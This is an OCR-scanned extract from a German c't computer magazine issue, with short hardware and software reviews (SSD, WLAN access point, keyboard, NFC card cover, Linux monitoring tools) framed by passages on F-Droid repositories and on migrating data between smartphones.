quellen, dies und weitere Quellen finden
Sie unter ct.de/yjb5.

Zum Einbinden anderer Paketquellen
tippen Sie im Smartphone auf den Link
zum Repo. Sie konnen alternativ den QR-
Code des Repos mit der Kamera Thres
Smartphones scannen. Danach wihlen Sie
»Zu F-Droid hinzuftigen®. Damit die Inhal-
te dieser Paketquelle sichtbar werden, set-
zen Sie unter ,,Optionen” bei ,Paketquel-
len” neben ihrem Eintrag den Haken.

Ausblick

Auch jeder App-Nutzer kann sich mit ein
bisschen Aufwand sein eigenes Reposito-
ry erstellen. Um es in F-Droid zu benut-
zen, muss man es nirgends anmelden be-
ziehungsweise einem Zulassungsprozess
unterziehen - anders als die Apps fiir den
F-Droid-Katalog selbst. F-Droid ist also
auch vollkommen losgel6st von seinem
App-Katalog als Basis fiir einen eigenen
App-Store nutzbar.
Die Moglichkeit, F-Droid mit speziel-
len App-Katalogen auszustatten, macht F-
Droid fiir Nutzergruppen interessant, die
nur bestimmte Apps zum Download
haben wollen - etwa Eltern, die so betrii-
gerischen Apps im Google Play Store aus
dem Weg gehen. Mehr dazu in einem spé-
teren Artikel. Fiir Entwickler hat F-Droid
einen stringenten Prozess, bei dem man
individuelle Hilfen bekommt, wenn es
hakt. Auch dazu spater mehr.
(mil@ct.de) &

Literatur

[1] Alexander Spier, Schwierige Wurzelbehandlung,
Root-Zugriff und Custom-ROMs mit Android,
c't 4/2018, S. 100

Weiterfiihrende Informationen:

ct.de/yjb5

‘&= Known Repositories

- " Wiki  repo

Repositories

Briar (tested on 2017-07-30)
https://briarproject.org/fdroid/repo 1

Messenger that does require any server and hides metadata.
Info: hitps:#/briarproject.org/
Repo info: hitps//briarproject.org/idroid. html

c:geo mainline (tested on 2017-07-28)

https:/fdroid.cgeo.org @

c:geo nightly (tested on 2018-01-28)
https://fdroid.cgeo.org/nightly &

Im Forum der F-Droid-Website gibt es
eine Liste bekannter Paketquellen.
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Kurztest | M.2-SSD, WLAN-Access-Point, Sky-Ticket-Stick

[ ] [ ] [ ]
Billig flink
Der fiir Mainboards und Grafik-
karten bekannte Hersteller
Gigabyte verkauft nun auch eine
glinstige M.2-NVMe-SSD mit
PCIl-Express-x2-Controller.

M.2-SSDs mit PCle- beziehungsweise
NVMe-Controller waren bisher teurer
als mit SATA. Die Gigabyte GSM2NE-
8128GNTD mit 128 GByte und NVMe
gibts jetzt flir weniger als 35 Euro.

Zum niedrigen Preis trigt der Con-
troller Phison PS5008-E8T bei. Er nutzt
nur zweli statt vier PCle-3.0-Lanes und
kommt ohne DRAM-Cache aus. Beim
sequenziellen Lesen schafft die GSM2
NE8128GNTD trotzdem mehr als
1 GByte/s. Bei Zugriffen auf zufillig ver-
teilte Adressen und beim Schreiben ist
sie aber nicht schneller als eine SATA-
6G-SSD.

Bei géngigen Alltagsaufgaben liest
ein PC hiufiger von der SSD als er da-
rauf schreibt. Dazu passen die Eigen-
schaften der Gigabyte-SSD. Auch die
versprochene Schreibfestigkeit ist in
Ordnung. Gigabyte liefert allerdings
bisher keine Software fiir komfortable
Firmware-Updates zur Diagnose oder
zum Loschen (Secure Erase). Auch von
Verschliisselung ist keine Rede. Wer mit
diesen Einschrankungen leben kann,
bekommt von Gigabyte eine schnell
lesende SSD, die etwa fiir Biirocompu-
ter vollig ausreicht. (ciw@ct.de)

Gigabyte GP-
GSM2NE8128GNTD
1255 23 G euns o302

Anbieter Gigabyte, www.gigabyte.com

128 GByte (256 GByte, 512 GByte)
Bauform / Controller M.2 2280 / Phison PS5008-E8T
Haltbarkeit (Endurance) 100 Terabytes Written, 3 Jahre

sequenzielle Transferrate 544 / 1188 MByte/s
schreiben / lesen

IOPS schreiben / lesen ~ 90.000 / 93.000 I0PS

Preis 35 € (256 GByte: 55 €,
512 GByte: 100 €)

Kapazitat (Varianten)
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Sparsame
WLAN-Basis

Der Access-Point Unifi UAP-AC-
LR von Ubiquiti versorgt WLAN-
Clients in beiden Funkbéindern
gleichzeitig und braucht wenig
Energie.

Der UAP-AC-LR st fiir Ubiquitis Unifi-
System vorgesehen. Er arbeitet PoE-ge-
speist (Power-over-Ethernet), zieht nur
3,7 Watt und setzt einen Unifi-Control-
ler voraus.

Dort muss man beim Einrichten die
Option ,,Einhaltung der regulatorischen
Domainbeschrinkungen® manuell ak-
tivieren. Erst dann nutzen die Unifi-
gesteuerten APs auch die DFS-Kanile
ab 52 bis 140. Ferner arbeitete der UAP-
AC-LR dort anfangs mit halbierter
Kanalbreite (40 MHz). Er lasst sich auf
die tiblichen 80 MHz umstellen.

Ein Dauerlauf iiber drei Tage mit
standigen Down- und Upstreams zeigte
keine Aussetzer. Der Durchsatz gegen
ein Acer-Notebook V3-372 (WLAN:
QCA6174) iiber 20 Meter durch Wénde
war je nach Funkband gut (2,4 GHz) bis
zufriedenstellend (5 GHz).

Angesichts des Preises ist die
Performance angemessen, wenn auch
nicht herausragend. Wer groflere Ge-
biude oder Gelinde mit einem WLAN-
System ausstatten will, kommt giinstig
davon. (ea@ct.de)

Ubiquiti Unifi UAP-AC-LR
warsiaties

Hersteller Ubiquiti, www.ubnt.com
WLAN (Streams) WiFi 4 (3) / WiFi 5 (2)
Bedienelemente Reset, 1 Statusleuchte
Anschliisse 1% RJ45

WLAN 2,4 GHz 101 / 52-71 MBit/s
nah/20 m (V13)

5 GHz nah/20 m 250 / 74-100 MBIit/s

Leistungsaufnahme 3,7 Watt (idle, PoE-seitig, IEEE 802.3af)
Preis 97 €

Kino-Stabchen

Der Sky Ticket TV Stick soll das
Streaming-Angebot des Pay-TV-
Anbieters besonders bequem
erschlieBBen.

Den ,,Sky Ticket TV Stick“ schlief3t man
per HDMI am TV an und bindet ihn per
WLAN ins Heimnetz ein. Seine Energie
bezieht er tiber das mitgelieferte Netz-
teil oder direkt aus einer USB-Buchse
des Fernsehers, wenn diese bis 1 Am-
pere belastbar ist.

Der vom Player-Spezialisten Roku
entwickelte Stick lduft mit einem pro-
prietdren Betriebssystem, die Sky-Ti-
cket-App ist eine von nur 27 installier-
baren Anwendungen. Wichtige Video-
streaminganbieter wie Netflix und
Amazon Video fehlen, dafiir bekommt
man Zugriff auf YouTube und die Me-
diatheken von ARD, ZDF und arte.

Der Stick bootet in eine recht
schmucklose Bedienoberfliche, auch
die Sky-Ticket-App startet langsam. Die
Bildausgabe des Sticks ist auf Full HD
beschrinkt. Uber HDMI kann der Stick
Ton in DTS und Dolby Digital Plus aus-
geben - womit 3D-Sound in Dolby
Atmos drin wire. Sky Ticket liefert aber
stets nur mageren Stereoton aus.

Praktisch sind die seitlichen Laut-
stiarketasten der beiliegenden Funk-
fernbedienung - in ihr steckt auch ein
IR-Sender, mit dem man den Fernseher
direkt ansteuern kann.

Der Sky Ticket TV Stick ist glinstig
und kann wenig. Schoner wire es, wenn
es endlich eine Ticket-App fiir den po-
puliren FireTV-Stick gébe.(sha@ct.de)

Sky Ticket TV Stick
[ibwvsis
Hersteller Roku / Sky, www.sky.de
Lieferumfang HDMI-Stick, Fernbedienung, Netzteil
TV-Ausgabe 720p, 1080p
Preis 20€

c't 2019, Heft 2



Speedboard

Corsairs K70 MK.2 Rapidfire ist
sowohl fiir Spieler als auch
Vielschreiber interessant, die
flinke Finger und ein Auge fiir
minimalistische, hochwertige
Tastaturen haben.

Die Oberplatte aus gebtirstetem Alu gibt
Corsairs K70 Stabilitit und einen schlich-
ten, stylischen Look. Sie ist an den Rén-
dern aber fast scharfkantig und sorgt wie
beivielen vergleichbaren Geriten fiir me-
tallischen Nachhall, wenn man nicht zim-
perlich tippt. Dank Gummistoppern an
der Unterseite rutscht die Tastatur nicht -
zwel gummierte, ausklappbare Standfiifde
heben sie hinten an. Uber einen zweiten
USB-A-Stecker schleift das textilumwi-
ckelte Kabel einen USB-Port des PC zur
USB-Buchse an der Riickseite der Tasta-
tur durch.

Neben einem normalen 105er-Tas-
tenfeld mit 19-Millimeter-Raster und
konkaven Tastenkappen sind Zusatztas-
ten an Bord: zum Wechseln von Tasten-
belegungs- und Beleuchtungsprofilen,
der Beleuchtungshelligkeit und zum De-
aktivieren der Windows-Tasten. Erginzt
werden sie von Mediensteuerungstasten
sowie einem praktischen Lautstérke-Roll-
regler.

Corsair K70 MK.2
Rapidfire

‘ Gaming-Tastatur

Hersteller Corsair, www.corsair.com

Schaltertyp / Auslosekraft ~ Cherry MX Speed (mechanisch,

linear) / 45 Gramm

Cherry MX Red, Brown, Blue, Red
Silent; MX Speed und Red auch als
Low-Profile-Variante

Schalteralternativen

Preis 180 €
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Ungewohnlich fiir Gaming-Tastatu-
ren: Dedizierte Tasten fiir Makros oder
Shortcuts fehlen. In der zugehoérigen,
komplexen iCUE-Software lassen sich
dafiir umfangreiche Makros definieren
und auf beliebige Tasten legen; Beleuch-
tungseftfekte und Farbeinstellungen fiir
einzelne Tasten nimmt man hier eben-
falls vor. Dartiber hinaus verandert man
in der Software auch die Standard-Tas-
tenbelegung, um beispielsweise vom An-
wender haufig benutzte Sonderzeichen
leichter, ergonomischer erreichbar zu
machen.

Mit den mechanischen, linearen
Schaltern vom Typ Cherry MX Speed
spielt es sich nicht nur fix, es schreibt sich
auch beeindruckend schnell. Bei nur 45
Gramm Auslosekraft und einem weder
hor- noch spiirbaren Schaltpunkt nach 1,2
Millimetern manchmal sogar zu schnell:
Tippt man etwas ungenau und erwischt
dabei auch nur leicht eine der umliegen-
den Tasten, 16st man diese oft mit aus.
Tippt man jedoch flink und zielgenau, kit-
zelt man pro Minute ein paar zusitzliche
Anschlige oder Spielaktionen heraus.
Wer mit den MX-Speed-Schaltern nicht
zurecht kommt, kann sich die Tastatur
auch in anderen Ausfithrungen zulegen:
mit den verbreiteten roten, braunen oder
blauen Cherrys, mit den extra leisen Red-
Silent-Schaltern oder in Low-Profile-
Varianten mit flacheren Tasten. Sie alle
bewegen sich preislich im gleichen Rah-
men.

Fiir 180 Euro bekommt man mit der
K70 eine Menge Tastatur vom Feinsten.
Die beiliegenden Austausch-Tasten-
kappen und Soft-Touch-Handauflage
sind bei dem Preis ein netter Bonus. Die
Corsair K65 gibts rund 40 Euro glinstiger
- hier fehlt der Nummernblock.

(jube@ct.de)

Gaming-Tastatur, Vertikalmaus | Kurztest

Tischpfeil
Die CSL Vertical ist eine schlichte

Hochkantmaus mit gutem Preis/
Leistungsverhiltnis fiir Puristen.

Die Maus ist fiir Links- und Rechtshin-
der erhaltlich und sehr giinstig. 2,4-GHz-
Funk verbindet sie mit dem Rechner.

Anders als viele Vertikalmause ist
diese angenehm schlank. Das Soft-
Touch-Finish ist schick, aber auch anfal-
lig fiir Fingerabdriicke. Der unauffillige
Knopf'an der Oberseite schaltet die Sen-
sorauflosung zwischen 800, 1200 und
1600 dpi durch. Nachteil der schlanken
Bauweise: Die nur gut 100 Gramm
schwere Maus kippt bei manchen Bewe-
gungen leicht nach innen. Sie fillt da-
durch zwar nicht um, hebt jedoch hinten
etwas ab, wodurch der Sensor die Tisch-
platte aus den Augen verliert und der
Mauszeiger stehen bleibt.

An der Unterseite sitzen der An-/
Ausschalter, das Fach fiir die zwei bei-
liegenden AAA-Batterien und ein Slot
fiir den USB-Dongle. Die Verarbeitung
lasst an dieser Stelle zu wiinschen iibrig:
Einige Gehéuseteile bilden Kanten, die
Rutschpads wirken billig verklebt.

Linke und rechte Maustaste sowie
Mausrad haben einen iiberraschend
harten Druckpunkt. MausradKklicks er-
fordern aulerdem Eingewohnung, da
man nahezu horizontal driicken muss.
Die Daumentasten fiir Vor und Zuriick
sind dagegen leichtgingig.

Wen die méfdige Verarbeitung und
ein auf dem Tisch schleifender kleiner
Finger nicht stort, bekommt mit der
CSL Vertical eine gute Hochkantmaus
ohne Schnickschnack, alternativ auch
kabelgebunden. (jube@ct.de)

CSL Vertical
[loowatmoss

Hersteller CSL-Computer, www.csl-computer.com
Verbindungstyp / 2,4-GHz-Funk (proprietdr) /
Stromversorgung 2 X AAA-Batterie

Preis 20€
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NFC-Verhiiterli

Das Smart Secure Cover
verhindert das Auslesen von
NFC-Karten, aber nicht immer.

Die ,,Kontaktlos“-Funktion aktueller
Bezahlkarten finden viele Menschen
praktisch, aber auch gefihrlich: Schlief3-
lich wird bei einer Bezahlsumme unter
25 Euro keine PIN abgefragt; hilt man
ein Kartenterminal an eine Kontaktlos-
Karte, konnte man theoretisch unbe-
merkt Geld abgreifen. In der Praxis
kommen solche Angriffe so gut wie nie
vor; erstens weil sich Bezahlterminals
nicht anonym betreiben lassen und
zweitens, weil der Bezahlvorgang schon
dann nicht mehr funktioniert, wenn
eine zweite RFID- oder NFC-Karte mit
im Portemonnaie liegt.

Wer dennoch auf Nummer sicher
gehen will, lagert die Kontaktlos-Karte
in einer Abschirmhiille, zum Beispiel im
Smart Secure Cover des Osterrei-
chischen Herstellers Seibersdorf. Hier
muss man die Karte zum Bezahlen
nicht herausnehmen, sondern gibt sie
per Knopfdruck frei. Das Ganze funk-
tioniert ohne Batterie: Eine passive
Schaltung hemmt den Energietransfer
zwischen Kartenterminal und Karte.
Driickt man den Knopf, wird die Schal-
tung unterbrochen und der NFC-Chip
in der Karte bekommt wieder genug
Energie.

Im Test funktionierte das in den
meisten Fillen, allerdings gelang es uns
mit einer Karte (Debit-VISA von Com-
direct) ohne gedriickte Taste, einen
Bezahlvorgang an unserem Sumup-
Bezahlterminal auszuldsen - hundert-
prozentig verlassen sollte man sich auf
die Hiille also nicht. (jkj@ct.de)

Smart Secure Cover

[ Kortaktloskarten Sicherheitshile |

Hersteller Seibersdorf Labor GmbH
Preis 19 € (iiber www.smartsecurecover.com)
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ABBRECHEN

Foto-Verteiler

PhotoSync libertragt Bilder
zwischen Smartphones und
diversen Geriten im Haus oder in
der Cloud - auch automatisch.

Mit PhotoSync lassen sich Bilder von An-
droid- und iOS-Smartphones rasch per
WLAN auf andere Gerite und (Cloud-)
Speicher tibertragen - und umgekehrt.
Die kostenlose Basisversion tauscht
Fotos mit Windows- und macOS-Rech-
nern, Notebooks, Tablets sowie weiteren
Smartphones im lokalen Netz aus. Auf
Wunsch zieht sich die App auch Aufnah-
men vom Fotoapparat - sofern dieser mit
einer WLAN-fihigen SD-Karte von To-
shiba oder Transcend bestiickt ist. Wer
Dateien an ein NAS, einen FTP-/Web-
DAV-Server oder Cloud-Dienste wie
Dropbox, Google Drive und Co schicken
mochte, muss nach Ablauf des 7-tagigen
Testzeitraums das passende Erweite-
rungspaket erwerben.

Sobald man die Ubertragungsziele
in den Einstellungen festgelegt hat,
lauft alles wie geschmiert: Bilder mar-
kieren, Synchronisations-Button dri-
cken, Ziel auswihlen. Fiir die Schnell-
ibertragung zum bevorzugten Spei-
cherort geniigt ein lingerer Druck auf
den Sync-Button. Ein automatisches
Backup - aufs NAS oder einen anderen
Server - kann man ebenfalls einrichten.
Es lésst sich zu einer bestimmten Uhr-
zeit oder durch ein Ereignis auslosen,
etwa wenn sich das Gerit mit dem hei-
mischen WLAN verbindet. PhotoSync
ist eine duflerst praktische App. Sie ver-
teilt Fotos im heimischen Netzwerk di-
rekt dorthin, wo man sie braucht - ohne
Umweg liber die Cloud. (atr@ct.de)

PhotoSync

Foto-Verteilung und Backup

Hersteller  touchbyte GmbH, www.photosync-app.com
Systemanf. Android, i0S, Windows, mac0S
Preis kostenlos; Eweiterung ab 0,99 <€, komplett 2,99 €

Stress-Pegel

Das Tool s-tui zeigt nicht nur
die CPU-Temperatur, die Takt-
frequenz, den Stromverbrauch
und die Auslastung im Linux-
Terminal grafisch an. Es hilft
auBerdem, Warmeprobleme
mittels Stresstest zu
identifizieren.

Mit farbigen ASCII-Diagrammen veran-
schaulicht s-tui Taktfrequenz, Auslas-
tung (Utilization), Temperatur und den
Stromverbrauch des Prozessors tiber die
letzten Sekunden. Nicht benétigte Sta-
tistiken lassen sich ausblenden. Das
Tool liefert zudem weitere Informatio-
nen, etwa die bislang hochste gemesse-
ne Temperatur, die Drehzahl des Liifters
und das Modell des verbauten Prozes-
sors. Der Anwender bestimmt, welchen
Temperatursensor und welchen Liifter
das Werkzeug beobachten soll.

Damit alle Informationen auf dem
Bildschirm zu sehen sind, muss das Ter-
minal eine gewisse Hohe aufweisen.
s-tul kann alternativ die gelesenen
Messwerte als CSV-Tabelle speichern.
Bei Bedarf gibt das Werkzeug einen
Messwert in einer einfachen Textzeile
aus, deren Daten sich im JSON-Format
verpacken lassen. Ubersteigt ein Mess-
wert den vom Anwender vorgegebenen
Schwellenwert, startet s-tui auf Wunsch
ein Shellskript.

Bei Bedarf fiithrt s-tui mithilfe des
Tools stress oder stress-ng einen CPU-
Stresstest aus. Per SSH gestartet kom-
men so auch Server-Administratoren
Wairmeproblemen auf die Spur.

(Tim Schirmann/Imd@ct.de)

s-tui 0.8.2
[opormontong

Hersteller Alex Manuskin,
https://github.com/amanusk/s-tui

Systemantf. Linux
Preis kostenlos (GNU GPL v2)
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A System Overview
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Adhoc-Analyse
fur Linux & Co.

Netdata stellt Unix-typischen
Programmen zur Systemanalyse
wie top, ntop & Co. ein modernes
Browser-basiertes Werkzeug zur
Seite.

Die Liifter drehen hoch, das Netzwerk
lahmt, die Festplatte rodelt. Schnell sucht
man die Nadel im Heuhaufen. Mit Net-
data fillt die Suche leichter: Es sammelt
Vitaldaten wie CPU-Auslastung, Spei-
chernutzung und Sensordaten, um sie
grafisch in seiner Weboberfldche aufzu-
bereiten und sogar zu erldutern. Kurze
englische Texte erkldren, woher die
Daten kommen, was sie bedeuten und
wie man sie interpretiert. Eine separate
Spalte erlaubt direkte Spriinge zu einzel-
nen Grafiken.

Was Netdata iiber ein System in Er-
fahrung bringt, hingt davon ab, welche
Software bereits installiert ist. Manche
Sensoren, die Liifterdrehzahlen und
Temperaturen liefern, zeigt es nur an,
wenn zuvor Software eingerichtet worden
ist, die diese auslesen kann, unter Linux
also beispielsweise das Imsensors-Paket.
Ansonsten richtet sich die Auswahl der
verfiigbaren Daten danach, was ein Sys-
tem anbietet. Der Umfang ist beachtlich,
so kennt Netdata auch Docker und ZFS.
Bei der Datenbeschaffung helfen Plug-
ins. Manche muss man zunichst mit
Zugangsdaten fiittern, etwa zu MySQL,
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damit es dort Daten sammeln kann. Net-
data istin vielen Distributionen als Paket
zu haben und es gibt Links zu Demo-Sites
auf der Website. Der Autor stellt ein
Shell-Skript zur Installation der aktuellste
Fassung bereit. Es klont unter Linux das
GitHub-Repository, beschaftt alle Abhén-
gigkeiten, iibersetzt das in C geschriebe-
ne Netdata und installiert es. In /usr/src/
netdata.git finden sich am Ende Skripte
zur Deinstallation und zum Updaten. Pro-
gramm, Plug-ins und Logs landen an den
iiblichen Stellen (/etc, /var/log ...). Fir
manche Plug-ins ist Neutibersetzen an-
gesagt, falls im ersten Anlauf Entwickler-
bibliotheken fehlten, etwa solche fiir
IPMI.

Netdata sammelt jede Sekunde
Daten ein, legt sie im RAM ab und be-
wabhrt sie 60 Minuten auf. Optimierungen
sorgen dafiir, dass das den Rechner nicht
ausbremst oder ungebiihrlich viel Spei-
cher frisst. Daran zeigt sich der Arbeits-
schwerpunkt von Netdata: Echtzeitiiber-
wachung. Inzwischen haben aber Export-
schnittstellen und Funktionen fiir die
Alarmierung Einzug gehalten. So stofdt
Netdata in die Spharen von Monitoring-
Losungen vor. (ps@ct.de)

Netdata
(Eocidbomong ]

Hersteller Costa Tsaousis, http://my-netdata.io
Systemantf. Linux, mac0S, FreeBSD
Preis kostenlos (GPLv3)
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Schiebs ruber

Wie Sie lhre Daten mit Hersteller-Tools und
Bordmitteln aufs neue Smartphone umziehen

Umzugs-Apps
Umzug zwischen iOS und Android
Fotos, Chats und Daten umziehen

c't 2019, Heft 2




Smartphone-Wechsel | Praxis

Ein neues Smartphone macht immer erst mal viel
Arbeit. Bei iPhones hilft das Backup, bei Android-
Smartphones soll das neue Handy Kontakte, Apps
et cetera aus Googles Datenspeichern zuriickholen.
Doch letzteres funktioniert weit weniger als perfekt.
Ein Ausweg sind die Umzugs- und Backup-Tools von
Apple, Samsung, Sony, OnePlus, LG & Co.

Von Robin Brand und Michael Link

reimal umziehen ist wie einmal
D abgebrannt. Das gilt auch beim
Wechsel des Smartphones. Ein
bisschen Schwund ist immer: Mal haben
es nicht alle Fotos aufs neue Gerit ge-
schafft, mal fehlen die Spielstinde oder
einige Apps. Erfahrene Smartphone-Nut-
zer wissen langst, dass die vom Gerit ge-
radezu penetrant aufgedringten Siche-
rungsmethoden der Plattform-Anbieter
flir Android und iOS nicht perfekt sind.
Weil auch die Smartphone-Hersteller
diese Schwierigkeiten kennen, haben sie
eigene Umzugs-Apps entwickelt, die den
Wechsel auf das neue Schitzchen einfa-
cher und vor allem kompletter machen
sollen, auch wenn man von anderen Her-
stellern oder sogar Betriebssystemen
kommt. Wir haben uns diese Losungen
flir Gerdte von Apple und HTC, Huawel
und LG sowie OnePlus, Samsung und
Sony angeschaut. Weitere Tipps, wie Sie
Fotos, Chats und andere Daten aufs neue
Gerit hiniiberretten, finden Sie ab Seite
86. Zu Cross-Plattform-Umziigen lesen
Sie mehr ab Seite 84.

Umzug von der Stange

Apple macht einem den Umzug leicht,
wenn man von einem iPhone zum néchs-
ten wechselt. Beim Einrichten dringt
Apple mehr oder weniger sanft zum Anle-
gen von Sicherungen tiber die Apple-eige-
ne iCloud. Richtet man dann das neue Te-
lefon ein, sucht das Gerat nach Anmel-
dung mit der eigenen Apple-ID eine solche
Sicherung und installiert sie auf Wunsch.
Wenn sie verschliisselt ist, kommen unter
anderem auch WLAN-Passworter mit. Ei-
nige Login-Daten von Apps fehlen, ebenso
hier und da einige App-spezifische Daten,
welche nicht mitgesichert wurden. Der
Aufwand fiirs Einspielen des Backups be-
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schrinkt sich aufs Abwarten: je nach Spei-
chervollstopfungsgrad einige Minuten
lang oder auch mal Stunden.

Auch Google bietet fiir sein Android-
Betriebssystem einen eigenen Sicherungs-
service an. Er wird unter Systemeinstellun-
gen/Sicherung aktiviert. Die Daten spei-
chert Google in seinem Cloud-Dienst Goo-
gle Drive, weshalb die Sicherung hiufig als
Google-Drive-Backup bezeichnet wird.

Beim Anmelden eines Smartphones
fragt der Einrichtungsdialog, ob man Si-
cherungen vorheriger Gerite tibernehmen
mochte. Hierfiir stehen je nach Quell- und
Zieltelefon mehrere Wege zur Verfligung:
Am schnellsten geht es per USB, sofern
beide Gerite es unterstiitzen. Kommt die
Datenspende von ilteren Geriten, lauft
die Ubertragung mit Googles Nearby-
Technik, die Daten per WLAN und Blue-
tooth verschickt. Hat man auf das alte
Gerit keinen Zugriff, lassen sich die Siche-
rungen aus Google Drive herunterladen.

Zu den gesicherten Daten zihlen
Kontakte, Kalender, Fotos und Smartphone-
Einstellungen des eigenen Google-Kon-
tos. Sofern Apps aus dem Google Play
Store installiert sind, kann man die mit-
nehmen, sogar Spielstdnde. Also einfach
das Backup aufs neue Handy und nahtlos
weitermachen. Guter Witz. Schon wirs.

Denn Google-Drive-Backups sind
nicht so universell nutzbar, wie man mei-
nen konnte. So liefden sich einige unserer
Backups fiir Android-9-Smartphones

nicht mit Android-8-Geriten verwenden.
Schlecht, wenn Sie mal auf ein Altgerit
zuriickgreifen miissen, etwa weil das
neue Smartphone geklaut wurde oder ka-
putt gegangen ist. Sie haben dann kein
verwendbares Backup fiir den nahtlosen
Ubergang. Ein Lichtblick: Die kabelge-
bundene Ubertragung mittels Google-
Backup von einem Gerit mit Android 8
auf eines mit Android 9 klappte schnell
und auch vollstindiger als bei anderen
Umzugslosungen unseres Tests.

Denn das ist der schwerwiegendste
Nachteil: Google Drive Backup sichert
nicht alles. Hiufig fehlt, was auflerhalb
des Installationsverzeichnisses gespei-
chert ist - etwa auf einer SD-Karte -, oder
was die App-Entwickler gezielt von der
Speicherung auf externen Medien oder
Clouds ausschliefden. Davon betroffen
sind vielfach Chats, Bildbearbeitungen
und Spielstdnde. Dass Daten und die Au-
torisationen von Banking-Apps auf der
Strecke bleiben, diirfte vielen eher recht
sein. Leider fehlt auch das, was ein
Smartphone individuell macht: das Lay-
out der Bildschirme etwa.

Trostlich immerhin, dass sich auf
dem Altgerit unter ,,Einstellungen/Sys-
tem" einsehen ldsst, welche App-Einstel-
lungen gesichert wurden, sodass man
weifd, bei welchen Anwendungen man
nacharbeiten muss.

Einige Smartphone-Anbieter sichern
Backups im eigenen Clouds, etwa Apple
(iCloud) oder Huawei (Huawei Cloud).
Hierbei gibt es einen Pferdefuf, denn der
Gratis-Speicherplatz ist knapp. Bei Hua-
weiund Apple reicht er flir das Backup von
Einstellungen und der App-Liste, aber
nicht fiir mitgesicherte Medien, mit denen
Smartphones nach einiger Zeit der Nut-
zung liblicherweise gefiillt sind. Wer alles
sichern will, zahlt fiir eine Cloud-Grofie
von 200 GByte monatlich jeweils 3 Euro.

Zeit sparen beim Umzug
Bei allen Backup-Arten landen Apps,
Kontakte und der Kalender einigermafien

B

Einige Daten bleiben
beim Umzug auf der
Strecke. Fehlt - wie hier -

ein Kontakt, bleibt eine l
lange Suche nach dem,
was fehlt.

I ETement, bUd KB

. Fehlgeschlagene
= Ubertragungen

Kontakte
1 Element

Gesamt 20 KB
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Backups

Dehusmente und Daten

B Pud von Michesl

@ Phone von kachael

Apple iCloud Backup

O fast komplette Ubernahme
@ Umzugshelfer auch fiir Android
© nicht immer zuverlassig

Huawei Phone Clone

© Direktluibertragung per WLAN
€ Umzug auch vom iPhone
© Apps fehlten teils

LG Mobile Switch

© Umzug auch per USB-/OTG-Kabel
© Klingel- und Nachrichtenténe fehlten
© Apps fehlten teils

zuverldssig auf dem neuen Smartphone.
Auch Fotos und andere Dateien lassen sich
im USB-Massenspeichermodus zuerst auf
einen PC retten und von dort notigenfalls
auf das neue Gerit beamen. Geritespezi-
fische Einstellungen fehlen aber und so
gleicht das auf dem neuen Gerit wieder-
hergestellte Backup eher einem Rohbau
als einem bezugsfahigen Neubau.

Etlichen Apps erneut die notigen Frei-
gaben etwa flir den Zugriff auf die Kamera
oder auf die Kontakte zu erteilen frisst
Zeit, ebenso das Feintuning der Einstel-
lungen. Homescreen- und Widget-Einstel-
lungen kann zwar mit anderen Launchern,
etwa dem Nova-Launcher, vom alten
Gerit aufs Neue mitnehmen. Aber etliches
anderes muss man hiandisch nachhikeln,
besonders beim Wechsel auf ein Gerit
eines anderen Herstellers. Das ist kaum zu
umgehen. Aber es gibt auch zeitraubende
Pirouetten, die man vermeiden kann.

Zeit sparen ldsst sich mit einem
Umzug per USB-Kabel. Denn die Ubertra-
gung per Kabel verliuft in der Regel weit-
aus flotter als per WLAN, egal ob das
Smartphone ein Backup tiber eine Cloud-
Anbindung bezieht oder ob das neue Gerit
seine Daten per direkter WLAN-Verbin-
dung zum neuen Gerit ibertrdgt. Diese
Methode kann man nicht nur beim Umzug
zwischen Android-Smartphones nutzen,
sondern auch fiir Cross-Plattform-Um-
ziige, etwa vom iPhone zu einem Android-
Gerdt. Nicht alle Umzugs-Apps der
Smartphone-Hersteller er6ffnen diese
Moglichkeit (siehe Tabelle).

Generell sollte man fiir alle Apps auf
den Altgeriten noch mal Sicherungen an-
werfen, falls sie Daten nicht im Installa-
tionsverzeichnis bunkern. Trotzdem
kommen Sie bei einigen Apps nicht um
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weitere Tools und aufwendige Frickelei
herum. So ist beim Wechsel vom iPhone
zu Android die Mitnahme der WhatsApp-
Chats kompliziert, weil WhatsApp vom
Android-Smartphone aus nicht aufs
iCloud-Backup des Chatverlaufes zugrei-
fen kann. Mit kostenpflichtigen Tools wie
dem Wazzapp-Migrator und unter Verlust
einiger Haare ist der Umzug immerhin
moglich. Vergisst man aber die Sicherung
auf dem iPhone und autorisiert vorschnell
WhatsApp auf dem neuen Gerit, kommt
man an die alten Chats nur noch heran,
wenn man umstéindlich die App auf dem
alten Gerit erneut autorisiert.

Was kommt, was bleibt

Bei Apple sichert das iCloud-Backup wie
oben beschrieben einen weitgehend rei-
bungsfreien Umzug. Will man von einem
Android-Smartphone wechseln, schlagt
Apple vor, dass man seine Migrations-App
Move toi0S im Google Play Store aufs alte
Gerit 14dt - mehr dazu ab Seite 84.

Bei Samsung heifdt das Umzugs-Tool
Smart Switch. Es ist verwirrenderweise
keine Extra-App, sondern als Funktion im
Meni Einstellungen unter ,,Cloud und
Konten® zu finden. Smart Switch sichert
und tbertragt Inhalte iiber ein vorhande-
nes WLAN, eine USB/OTG-Kabelverbin-
dung oder mithilfe externer Speicherme-
dien. Die App setzt Android (ab 4.3), i0OS
(ab 5) oder Blackberry (ab 7) beziehungs-
weise Windows Phone voraus.

Eine direkte WLAN-Verbindung von
Gerit zu Gerit ist nicht vorgesehen; tiber-
springt man beim Einrichten die Kopp-
lung mit dem WLAN, lasst Smart Switch
nur noch den Datentransport per Kabel-
verbindung zum alten Gerit zu. Will man
von einem anderen Android-Gerit zu Sam-

sung umziehen, sucht es nach der tiblichen
Eingabe der Anmeldedaten fiirs Google-
Konto auf Google Drive nach einer verfiig-
baren Sicherung. Im Test zeigte es bei
einem Galaxy S8 mit Android 8 keine Si-
cherungen an, die fiir Gerite mit Android
9 angelegt wurden, wohl aber welche fiir
ein LG-Smartphone mit Android 8. Die
akzeptierte das Galaxy S8 und stellte alle
Apps sowie etliche nicht geritespezifische
Einstellungen wieder her.

Auch Apps aus fremden Quellen, etwa
F-Droid und direkt per APK installierte, ko-
piert Smart Switch auf das neue Gerit. Der
Umzugshelfer synchronisierte im Test auch
den Google-Kalender sowie die dort ge-
bunkerten Kontakte, Fotos und Mails nach
und nach im Hintergrund, wihrend der
Rest der Einrichtungs-Klickerei vonstatten
ging. Abschlieflend legte Smart Switch
noch die Installation etlicher Apps unter
anderem von Samsung selbst nahe und
dringte zur Anmeldung eines Samsung-
Accounts, der aber entbehrlich ist.

Zieht man vom iPhone nach Samsung
um, nutzt Smart Switch auch Daten, die in
